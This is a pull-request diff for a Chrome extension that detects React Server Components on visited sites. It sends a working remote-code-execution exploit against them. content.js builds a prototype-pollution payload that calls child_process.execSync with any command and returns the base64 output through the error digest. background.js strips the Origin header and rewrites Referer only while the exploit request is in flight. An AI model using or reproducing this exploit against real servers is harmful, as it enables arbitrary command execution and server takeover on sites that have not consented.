Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
54 changes: 42 additions & 12 deletions background.js
Original file line number Diff line number Diff line change
@@ -1,17 +1,47 @@
// background.js - 负责管理图标状态

// Dynamic rule for exploit requests only.
// We add this rule right before an exploit and remove it immediately after.
// This prevents the Origin/Referer stripping from affecting normal site traffic
// (which was causing WebSocket/socket failures on sites like speedtest.net).
const EXPLOIT_RULE = {
id: 1,
priority: 1,
action: {
type: "modifyHeaders",
requestHeaders: [
{ header: "Referer", operation: "set", value: "Referer-modified-value" },
{ header: "Origin", operation: "remove" }
]
},
condition: {
urlFilter: "*",
resourceTypes: ["xmlhttprequest"]
}
};

chrome.runtime.onMessage.addListener((request, sender, sendResponse) => {
// 接收到 content.js 发来的报警信号

// Badge update when RSC is passively detected
if (request.action === "update_badge" && sender.tab) {
// 设置红色背景
chrome.action.setBadgeBackgroundColor({
tabId: sender.tab.id,
color: "#FF0000"
});
// 设置文本为 "!"
chrome.action.setBadgeText({
tabId: sender.tab.id,
text: "!"
});
chrome.action.setBadgeBackgroundColor({ tabId: sender.tab.id, color: "#FF0000" });
chrome.action.setBadgeText({ tabId: sender.tab.id, text: "!" });
}

// Enable header-stripping rule right before exploit fires
if (request.action === "exploit_start") {
chrome.declarativeNetRequest.updateDynamicRules({
removeRuleIds: [1],
addRules: [EXPLOIT_RULE]
}, () => sendResponse({ ok: true }));
return true; // async
}

// Remove rule immediately after exploit completes
if (request.action === "exploit_end") {
chrome.declarativeNetRequest.updateDynamicRules({
removeRuleIds: [1]
}, () => sendResponse({ ok: true }));
return true; // async
}
});
});
50 changes: 30 additions & 20 deletions content.js
Original file line number Diff line number Diff line change
Expand Up @@ -50,8 +50,6 @@ async function performExploit(cmd) {
const targetCmd = cmd || "echo vulnerability_test";

// 构造 Payload,动态插入命令
// 注意:这里需要处理 JS 转义,简单起见直接替换
// Payload 逻辑: execSync('YOUR_CMD').toString().trim()
const payloadJson = `{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('${targetCmd}').toString('base64');throw Object.assign(new Error('x'),{digest: res});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}`;
const boundary = "----WebKitFormBoundaryx8jO2oVc6SWP3Sad";
const bodyParts = [
Expand All @@ -74,18 +72,34 @@ async function performExploit(cmd) {
const targetUrl = "/adfa"; // 使用相对路径

try {
const res = await fetch(targetUrl, {
method: 'POST',
headers: {
'Next-Action': 'x',
'X-Nextjs-Request-Id': '7a3f9c1e',
'X-Nextjs-Html-Request-ld': '9bK2mPaRtVwXyZ3S@!sT7u',
'Content-Type': `multipart/form-data; boundary=${boundary}`,
'X-Nextjs-Html-Request-Id': 'SSTMXm7OJ_g0Ncx6jpQt9'
// Origin 头由浏览器自动管理,不手动添加
},
body: bodyParts
});
// FIX: Enable the Origin/Referer-stripping rule ONLY for the duration of this
// exploit fetch, then immediately remove it. Previously the rule lived in
// rules.json and was always active, which stripped the Origin header from ALL
// XHR requests on every site — breaking WebSocket handshakes on sites like
// speedtest.net (causing "DOWNLOAD TEST ERROR: socket error").
await new Promise(resolve =>
chrome.runtime.sendMessage({ action: "exploit_start" }, resolve)
);

let res;
try {
res = await fetch(targetUrl, {
method: 'POST',
headers: {
'Next-Action': 'x',
'X-Nextjs-Request-Id': '7a3f9c1e',
'X-Nextjs-Html-Request-ld': '9bK2mPaRtVwXyZ3S@!sT7u',
'Content-Type': `multipart/form-data; boundary=${boundary}`,
'X-Nextjs-Html-Request-Id': 'SSTMXm7OJ_g0Ncx6jpQt9'
},
body: bodyParts
});
} finally {
// Always remove the rule after the request, success or failure
await new Promise(resolve =>
chrome.runtime.sendMessage({ action: "exploit_end" }, resolve)
);
}

const responseText = await res.text();

Expand All @@ -96,14 +110,10 @@ async function performExploit(cmd) {
let rawBase64 = digestMatch[1];

try {
// --- 修改点 2:解码逻辑 ---

// 1. 先处理 JSON 字符串转义 (比如把 \" 变回 ")
let cleanBase64 = JSON.parse(`"${rawBase64}"`);

// 2. Base64 解码
// atob() 可以解码 Base64,但如果包含中文可能会乱码
// 使用 TextDecoder 组合拳可以完美支持 UTF-8 中文
// 2. Base64 解码,支持 UTF-8 中文
const decodedStr = new TextDecoder().decode(
Uint8Array.from(atob(cleanBase64), c => c.charCodeAt(0))
);
Expand Down Expand Up @@ -146,4 +156,4 @@ chrome.runtime.onMessage.addListener((req, sender, sendResponse) => {
performExploit(req.cmd).then(res => sendResponse(res));
return true;
}
});
});
25 changes: 1 addition & 24 deletions rules.json
Original file line number Diff line number Diff line change
@@ -1,24 +1 @@
[
{
"id": 1,
"priority": 1,
"action": {
"type": "modifyHeaders",
"requestHeaders": [
{
"header": "Referer",
"operation": "set",
"value": "Referer-modified-value"
},
{
"header": "Origin",
"operation": "remove"
}
]
},
"condition": {
"urlFilter": "*",
"resourceTypes": ["xmlhttprequest"]
}
}
]
[]